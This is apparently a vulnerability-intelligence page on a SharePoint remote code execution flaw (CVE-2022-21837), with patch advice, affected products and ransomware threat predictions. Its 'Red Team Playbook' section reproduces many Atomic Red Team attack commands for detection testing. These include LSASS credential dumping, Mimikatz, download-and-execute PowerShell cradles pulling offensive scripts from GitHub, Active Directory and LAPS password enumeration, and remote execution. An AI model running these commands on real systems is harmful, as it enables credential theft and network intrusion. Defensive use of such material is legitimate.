CVE-2022-21837
Overview
This vulnerability is a remote code execution flaw caused by improper validation of user-supplied input within Microsoft SharePoint Server 2016's enterprise features. The root cause lies in inadequate access control and input sanitization in specific server components that handle privileged requests, allowing an attacker with limited privileges to execute arbitrary code remotely. The affected component is the SharePoint Server 2016 enterprise edition, which processes certain authenticated requests without sufficient verification.
Vulnerability Description
Microsoft SharePoint Server Remote Code Execution Vulnerability
Impact
An attacker with valid credentials and network access can exploit this vulnerability to execute arbitrary code on the SharePoint Server, potentially gaining control over the affected system. This enables actions such as data theft, service disruption, or lateral movement within the network. The CVSS vector indicates low attack complexity and requires limited privileges but no user interaction, emphasizing the risk in environments with authenticated users. This can lead to significant business impact including unauthorized data access and operational downtime.
Solution
Microsoft has released security updates addressing this vulnerability in SharePoint Server 2016 Enterprise and related products as detailed in their official advisory at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21837. Administrators should apply the latest cumulative updates for SharePoint Foundation 2013 SP1, SharePoint Server 2016 Enterprise, and SharePoint Server 2019 as specified by Microsoft. No specific workarounds are provided; patching is the recommended mitigation to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability in Microsoft SharePoint Server is characterized as a remote code execution flaw that allows an attacker to execute arbitrary code on a vulnerable system. This issue arises from improper validation of input data, which can be exploited when a user interacts with a specially crafted SharePoint site. The flaw affects multiple versions of SharePoint, including SharePoint Foundation 2013, SharePoint Server 2016, and SharePoint Server 2019. The high CVSS score of 8.8 indicates a critical severity level, emphasizing the potential for significant damage if exploited. Attackers can leverage this vulnerability to gain unauthorized access to sensitive data, manipulate system configurations, or deploy malware within the affected environment.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving crafted requests sent to the SharePoint server. An attacker may create a malicious web page or document that, when accessed by a user with sufficient privileges, triggers the execution of arbitrary code on the server. This could be achieved through social engineering tactics, where users are lured into clicking on links or downloading files that contain the exploit. Additionally, the vulnerability may be exploited in scenarios where an attacker has already gained some level of access to the network, allowing them to pivot and escalate privileges through the compromised SharePoint instance.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely heavily on SharePoint for collaboration and document management. Successful exploitation could lead to unauthorized access to confidential information, disruption of business operations, and potential data breaches. The financial implications can be substantial, including costs associated with incident response, legal liabilities, and reputational damage. Organizations may also face regulatory scrutiny if sensitive data is compromised, further exacerbating the risk. The interconnected nature of modern IT environments means that a breach in SharePoint could have cascading effects on other systems and applications, amplifying the overall business risk.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching SharePoint installations is critical, as vendors often release security updates to address known vulnerabilities. Organizations should also employ intrusion detection systems (IDS) to monitor for unusual activity related to SharePoint, such as unexpected requests or changes to user permissions. Additionally, conducting regular security assessments and penetration testing can help identify potential weaknesses in the system before they can be exploited. User education and awareness training are also vital, as they empower employees to recognize phishing attempts and avoid inadvertently triggering exploits.
In conclusion, the remote code execution vulnerability in Microsoft SharePoint Server poses a significant threat to organizations that utilize this platform. The potential for exploitation through crafted requests highlights the need for robust security measures, including timely patch management, proactive monitoring, and user education. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against potential threats and minimize the associated risks.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Microsoft | Sharepoint Foundation | 2013 |
cpe:2.3:a:microsoft:sharepoint_foundation:2013:sp1:*:*:*:*:*:*
|
|
|
Microsoft | Sharepoint Server | N/A |
cpe:2.3:a:microsoft:sharepoint_server:-:*:*:*:subscription:*:*:*
|
|
|
Microsoft | Sharepoint Server | 2016 |
cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*
|
|
|
Microsoft | Sharepoint Server | 2019 |
cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsRansomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
65 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-21837 |
| msrc.microsoft.com |
GitHub CVE
vendor-advisory
|
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21837 |
| portal.msrc.microsoft.com |
NVD API
|
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-21837 |